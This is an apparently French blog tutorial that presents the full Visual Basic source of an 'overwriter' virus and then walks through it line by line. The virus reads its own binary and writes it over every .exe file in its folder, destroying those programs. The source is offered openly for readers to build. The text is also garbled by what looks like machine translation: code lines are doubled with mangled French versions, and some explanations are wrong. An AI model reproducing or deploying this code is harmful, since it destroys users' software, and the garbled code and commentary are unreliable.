11:48
anonymous
Les virus informatiques sont sous
de nombreuses formes avec de nombreuses fonctions différentes.
Certains sont plutôt simplistes et peuvent être détectés par
l'utilisateur moyen tandis que d'autres sont complexes et passent
inaperçus pendant un certain temps. Les virus les plus courants
relevant de la classification des infecteurs de fichiers, qui
fonctionnent en infectant des fichiers exécutables. Ils y parviennent
en insérant leur code malveillant dans une zone du fichier
d'origine, lui permettant d'être exécutée chaque fois que le fichier est
accessible Certains d'entre eux sont capables de complètement
écraser un fichier, ce qui rend tout un programme inutile.
C’est le cas de ce type de virus que nous allons voir aujourd’hui. Les virus Overwritters.
Je
sais que les virus overwritters , n'ont malheureusement plus aucune
chance de se propager et ils ne
sont pas "intelligent". Malgré tout cela overwritters peut vous
aider à comprendre les bases du VRAI virus. Je vais vous donner le code
d'abord et ensuite on va le passer en revue.
-=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-=
Option Explicit Option Explicit
Dim myarray() As
Byte myarray Dim () As Byte
Dim victim As String victime Dim As String
Const mysize As Integer = 11776 mysize Const As Integer = 11776
Private Sub Form_Load() Private Sub Form_Load ()
On Error Resume Next On Error Resume Next
Dim Free Dim gratuit
Free = FreeFile Free = FreeFile
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read
As #Free Open App.Path & "\" & & App.EXEName ". Exe" pour l'accès binaire Lire Comme # Free
ReDim myarray(mysize) ReDim MonTableau (mysize)
Get #1, 1, myarray
Obtenez myarray # 1, 1,
Close #Free Close # Free
victim =
Dir(App.Path & "\" & "*.EXE") victime = Dir (App.Path & "\" & "*. exe")
While victim <> "" Bien que victime <> ""
Open
App.Path
& "\" & victim For Binary Access Write As #Free Open
App.Path & "\" & victime pour l'accès binaire Ecrivez comme #
Free
Put #1, , myarray Put # 1,, myarray
Put #1, , mysize Put # 1,, mysize
Close #Free Close # Free
victim = Dir() victime = Dir ()
Wend Wend
End End
End Sub End Sub
-=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-=
Décodons tout cela : (miam ! J)
Option Explicit Option Explicit
Dim myarray() As
Byte myarray Dim () As Byte
Dim victim As String victime Dim As String
Const mysize As Integer = 11776 mysize Const As Integer = 11776
Ici,
nous définissons les variables que nous allons utiliser, le "myarray
()" variable qui contient le
code binaire du virus, "victime" est la variable qui contient le nom
du fichier de la victime et le "mysize" variable contient la taille du
virus.
Private Sub
Form_Load() Private Sub Form_Load ()
On Error Resume Next On Error Resume Next
Nous ouvrons le sous dossier que nous allons utiliser (Form_Load), et nous avons mis notre erreur
poignée c'est-à-dire qu’en cas d’erreur le programme s’arrêtera là.
Dim Free Dim gratuit
Free = FreeFile Free = FreeFile
C'est une bonne idée de prendre exemple sur le virus y2k. Cela vous débarrasse de la lecture / écriture
des erreurs, car il est open source.
Open
App.Path & "\" & App.EXEName & ".exe" For Binary Access
Read As #Free Open App.Path & "\" & & App.EXEName ". Exe" pour l'accès binaire Lire Comme # Free
ReDim myarray(mysize) ReDim MonTableau (mysize)
Get #1, 1, myarray
Obtenez myarray # 1, 1,
Close #Free Close # Free
Maintenant, nous allons sortir le code binaire de nos virus et nous allons le stocker dans la variable
"myarray".
victim = Dir(App.Path & "\" & "*.EXE") victime = Dir (App.Path & "\" & "*. exe")
While victim <> "" Bien que victime <> ""
Open
App.Path
& "\" & victim For Binary Access Write As #Free Open
App.Path & "\" & victime pour l'accès binaire Ecrivez comme #
Free
Put #1, , myarray Put # 1,, myarray
Put #1, , mysize Put # 1,, mysize
Close #Free Close # Free
Ici, nous définissons la variable « victime » et nous avons mis notre code binaire dans le
programme de la victime.
victim = Dir()
victime = Dir ()
Wend Wend
Puis nous avons mis la victime à zéro, et nous répétons l'ensemble du processus d'infecter tous les
fichiers. Exe dans le répertoire courant.
End End
End Sub End Sub
Et enfin, nous fermons le programme et les sous dossiers.
Posted in: Virus
